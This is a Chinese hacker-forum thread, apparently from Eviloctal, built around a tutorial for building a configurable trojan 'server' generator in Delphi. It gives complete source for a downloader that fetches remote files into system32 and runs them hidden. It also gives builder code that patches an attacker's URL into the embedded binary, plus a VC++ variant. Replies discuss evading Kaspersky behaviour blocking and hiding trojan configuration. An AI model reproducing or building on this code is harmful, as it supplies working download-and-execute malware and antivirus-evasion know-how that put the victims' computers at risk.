[原创]服务端生成技术的思考
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])文章作者:lxm_991
最近在学习服务端文件的生成,相信有不少朋友也在学这个吧。下面就说一说个人的体会并介绍一种新的方法来生成服务端(超简单!)
好了下面开始
首先说一下服务端文件生成的思路:
1.把服务端文件编译成资源文件
2.在程序中导入资源文件并接受用户的配置信息
3.查找修改地址并写入配置信息
4.生成服务端文件
好了 过程就是这些 下面让我们来实现他吧。
首先写好我们的原始服务端 这里我们来写一个下载者为例。取名为down.exe 下面是源代码:
[code]program down;
uses
SysUtils,urlmon,strutils,windows;
function DownloadFile(Source, Dest: string): Boolean;
begin
try
Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
except
Result := False;
end;
end;
const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
var
file1:textfile;
s,a:string;
begin
downloadfile(f,'c:\windows\system32\atlog.txt');
assignfile(file1,'c:\windows\system32\atlog.txt');
reset(file1);
while not eof(file1) do
begin
readln(file1,s);
downloadfile(s,'c:\windows\system32\'+rightstr(s,8));
a:='c:\windows\system32\'+rightstr(s,8);
winexec(pchar(a),sw_hide);
end;
end.[/code]
这是一个支持多文件下载的服务端 具体代码我就不分析了 大家自己理解 很简单的。。。。
要注意的是
[code]const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';[/code]
f 是等待用户来配置的变量 我们把它定义为50个x 这样在修改时好定位 这里x的个数关系到用户能够输入信息的长度
所以要定义足够多的x啊 免得后面不够用了。
好了 把它编译为down.exe
下面我们来找xxxxxxxxxx。的地址。
打开十六进制编辑器 搜索xxxxx 找到的那个地址就是了 我们这里是54012 (delphi2005编译)
然后新建一个文本文件 写入如下代码
[code]downman RCDATA down.exe[/code]
保存为downman.rc ok 下面把它编译成资源文件
brcc32.exe downman.rc
这样我们就得到了一个名为downman.res的资源文件
好 把它拷贝到我们的编程目录。
新建一个工程。
建立全局变量
[code]const offset_url:integer= 54012[/code]
在{$R *.dfm}下面加上{$r downman.res} 这样我们就在程序中加入了资源文件了
下面我们来看看普通的程序写法。
[code]procedure TForm1.Button1Click(Sender: TObject);
var
url:string;
WriteBuff, ziyuanzhizhen: PChar;
ziyuanweizhi: HRSRC;
ziyuandaxiao, BytesWritten: Longword;
shujuchulijubing: THandle;
shenqingzhizhen: THandle;
begin
url:=trim(edit1.Text);
if url<>'' then
begin
ziyuanweizhi := FindResource(HInstance, 'downman', RT_RCDATA);
ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);
shujuchulijubing := LoadResource(HInstance, ziyuanweizhi);
ziyuanzhizhen := LockResource(shujuchulijubing);
shenqingzhizhen := CreateFile(pchar('server.exe'), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil);
Sleep(100);
SetFilePointer(shenqingzhizhen, OFFSET_url, nil, FILE_BEGIN);
WriteBuff := PChar(url + StringOfChar(#0, 50 - Length(url)));
WriteFile(shenqingzhizhen, WriteBuff^, 50, BytesWritten, nil);
CloseHandle(shenqingzhizhen);
end
else
showmessage('请输入配置文件的地址!!');
end;[/code]
代码我就不解释了 网上有好多。
是不是看的头晕晕的。呵呵 俺也一样。
下面就给大家介绍一种新方法(俺自己想的。)
首先 把资源文件提取出来并保存到流 s 里面
[code]procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;[/code]
s 是一个TMEMORYSTREAM 在public 申明一下就行了
好完成第一步了 下面我们用流来检索并修改。
[code]procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile('server1.exe');
s.Free;
end;[/code]
url 就是我们用户要输入的。 buffer 是用来填充前面说的f (xxxxxxxx)
这样我们的服务端就生成完毕了。简单吧。
好 下面给出完整的程序供大家参考。
[code]unit Unit3;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
const
offset_url:integer=54012;
type
TForm3 = class(TForm)
Edit1: TEdit;
Button1: TButton;
Label1: TLabel;
procedure restostream;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
s:tmemorystream;
end;
var
Form3: TForm3;
implementation
{$R *.dfm}
{$r downman.res}
procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile('server1.exe');
s.Free;
end;
procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
end.[/code] 放在资源里是不错的选择,有的时候却不是上策,因为无法加密.. 第1种方法里的XXXXXXXXXXXXXXXX 应该尽量多,我尝试过,就是 XXXXXXXX因该比被替换的字符多,
[url]http://www.baidu.com[/url]比如是下载地址.你的XXXXXXXXXX的数目就必须大与网址的字符数目,不懂我这种理解是否正确!! 一般50个字符就行了
这个代码就是不能过卡巴的主动很郁闷
要是换成短网址就可以过
换成长的就不行 生成器也要合理地判断用户输入网站的地址长度... [s:265]
楼主的方法都是典型的生成器例子,也可以采用把配置信息写入尾端,不过这样会出现捆绑数据的现象... [s:270] 这种方式的不好的地方就是,如果你需要配置的信息太多(比如像生成木马服务端),这种操作方法太麻烦,而且还容易出错。碰到这种情况我一般采用INI文件的方式,将配置信息写入INI文件然后将该文件写入到服务端的资源中。服务端在执行时会释放INI文件并从中读取配置信息 谢谢各位提的意见,目前还在研究中,有好的想法会马上会帖出来的。 mika 的方法好是好 ,但是要是生成木马的话,还要带一个配置文件,隐蔽性不好 鸽子的配置信息 那样 怎么弄的? 不用释放东西的 把文件直接载入流中修改的,,我想应该是 少量的可以放到DOS头里,我的一个QQ自动登录的小程序就这样弄的,部分压缩软件不会修改DOS头呢。 to:mika
这方法貌似也不错,改天测试看看,不过如果要操控INI文件就要添加IniFiles单元,添加后由于是ini类,所以还要再添加Classes单元,单纯添加单元不写任何代码,编译出来的程序都有90多KB了,这方法也不太适合那些体积小的服务端使用.... [s:263]
to:tsjmarco
鸽子是把配置信息加密后更身到服务端的资源里面,以后服务端读取并解密就可以了.这也是不错的思路...[s:264] 不懂delphi,大概明白楼主的意思。我也用vc写过一个downloader 的生成器。
主要代码
[color=#FF0066][code]
//定位所需资源
hrsrc=FindResource(NULL,MAKEINTRESOURCE(IDR_SERVER1),"Server");
if(!hrsrc)
{
MessageBox("定位资源失败!");
return;
}
//获取资源大小
dwSize=SizeofResource(NULL,hrsrc);
hresData=LoadResource(NULL,hrsrc);
if(!hresData)
{
MessageBox("载入资源失败!");
return;
}
//在内存中开辟和资源大小相同的区域
LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,dwSize);
if(!p)
{
MessageBox("内存分配失败!",NULL,MB_OK);
return;
}
// ZeroMemory((PVOID)p,dwSize);
CopyMemory((PVOID)p,hresData,dwSize);
memset(szURL,0x00,sizeof(szURL));
//获得配置参数
::GetDlgItemText(hwnd,IDC_EDIT_URL,szURL,256);
//根据参数修改内存区域
ZeroMemory((PVOID)(p+0x6030),256);
CopyMemory((PVOID)(p+0x6030),szURL,sizeof(szURL));
//在当前目录下写入
hFile=CreateFile(direcBuffer,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
[/code][/color]
方法和楼主刚开始说的一样,搞不明白的就是如何实现象winshell一样能够选择UPX压缩?
大家能给点代码就好了~ [s:263] 我最近也在看这个,问题是,每次修改后重新编译,xxxxx的位置就有变化,必须重新在生成器中定义,显得过于麻烦!
看了看鸽子1.2的方式,是写入服务端的尾部,这样就省了不少心!
但是现在新式的,都是将配置信息以资源形式写进了服务端,不知道这个如何完成? [s:265] 路过支持附加数据放在尾部....
免杀起来比资源型的好 楼主能不能搞个vb类的资源释放源码分析
页:
[1]